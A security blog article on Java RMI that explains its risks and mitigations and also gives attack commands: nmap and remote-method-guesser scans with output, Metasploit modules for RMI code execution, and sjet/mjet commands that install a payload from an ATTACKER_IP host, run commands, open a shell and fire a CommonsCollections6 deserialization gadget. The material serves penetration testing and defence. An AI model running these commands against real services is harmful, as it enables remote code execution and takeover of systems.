Java RMI: Understanding the Technology, Risks, and Best Practices

spyboy's avatarPosted by

Introduction:

Java Remote Method Invocation (RMI) is a distributed computing technology in Java that allows objects in one Java Virtual Machine (JVM) to invoke methods on objects located in another JVM. While RMI offers powerful functionality for building distributed applications, it also introduces security risks if not implemented carefully. This article explores Java RMI, discusses potential vulnerabilities, and provides guidance on secure usage.

Overview of Java RMI:

Java RMI enables Java objects to communicate and invoke methods across network boundaries. It involves two key components: the client-side stub and the server-side skeleton. The client-side stub communicates with the server-side skeleton to invoke remote methods and pass parameters. The server-side skeleton receives the request, invokes the appropriate method, and returns the result.

Risks and Vulnerabilities:

1. Insecure Serialization: RMI relies on Java object serialization, which can be exploited by attackers if not properly secured. Deserialization vulnerabilities can lead to remote code execution (RCE) and other security issues.

2. Untrusted Deserialization: If RMI allows untrusted inputs during deserialization, attackers can provide malicious serialized objects, leading to security risks such as code injection or arbitrary command execution.

3. Remote Command Execution: If RMI interfaces are not adequately secured, attackers may exploit them to execute arbitrary commands on the server, potentially leading to unauthorized access, data breaches, or system compromise.

Detection and Prevention:

1. Static Analysis Tools: Use static analysis tools like FindBugs, SpotBugs, or SonarQube to detect potential vulnerabilities and coding mistakes in RMI code. These tools can identify insecure serialization or deserialization practices and provide suggestions for improvement.

2. Secure Coding Practices: Follow secure coding practices, such as input validation, input sanitization, and proper exception handling, to mitigate risks associated with untrusted input during deserialization.

3. Enable Security Manager: Java RMI supports the use of a security manager to enforce security policies. Define and configure appropriate security policies to restrict RMI operations, limit code execution, and enforce access controls.

Using nmap:

$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open  java-rmi Java RMI
| rmi-vuln-classloader:
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub

Using remote-method-guesser:

$ rmg scan 172.17.0.2 --ports 0-65535
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+]     [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+]     [HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+]     [HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+]     [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+]     - plain-server2
[+]         --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+]             Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+]     - legacy-service
[+]         --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+]             Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+]     - plain-server
[+]         --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+]             Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[...]

Using Metasploit

use auxiliary/scanner/misc/java_rmi_server
set RHOSTS <IPs>
set RPORT <PORT>
run

Exploitation and Remote Command Execution:

Exploiting Java RMI vulnerabilities requires an understanding of the target application and the specific security weaknesses present. Attackers may attempt to exploit RMI by:

1. Crafting Malicious Serialized Objects: Attackers can construct serialized objects with malicious payloads, aiming to exploit insecure deserialization practices and gain unauthorized remote code execution.

2. Leveraging Insecure RMI Interfaces: If RMI interfaces lack proper authentication, authorization, or input validation, attackers can invoke methods that execute arbitrary commands on the server.

Mitigation and Best Practices:

1. Validate and Sanitize Inputs: Implement strict input validation and sanitization techniques to prevent the use of malicious serialized objects.

2. Implement Secure Serialization: Implement proper serialization controls, including custom serialization methods, readObject/writeObject overrides, or externalization, to ensure secure serialization and deserialization.

3. Limit RMI Access: Configure appropriate access controls for RMI interfaces, restrict remote method invocation to authorized users or systems, and enforce authentication and authorization mechanisms.

4. Employ Network Security Measures: Secure RMI communication by using encryption protocols (e.g., SSL/TLS) and firewalls to protect against eavesdropping and unauthorized access.

Exploit the JMX using sjet or mjet

jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"

jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell

RCE using Metasploit

use exploit/multi/misc/java_rmi_server
set RHOSTS <IPs>
set RPORT <PORT>
# configure also the payload if needed
run

Conclusion:

Java RMI offers powerful capabilities for distributed computing in Java applications. However, it introduces security risks that require careful consideration and implementation of secure coding practices. By following best practices, validating inputs, implementing secure serialization, and limiting RMI access, developers can mitigate vulnerabilities and enhance the security of their Java RMI-based applications. Regular security assessments, code reviews, and keeping up-to-date with security recommendations can further ensure the safety of RMI implementations.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.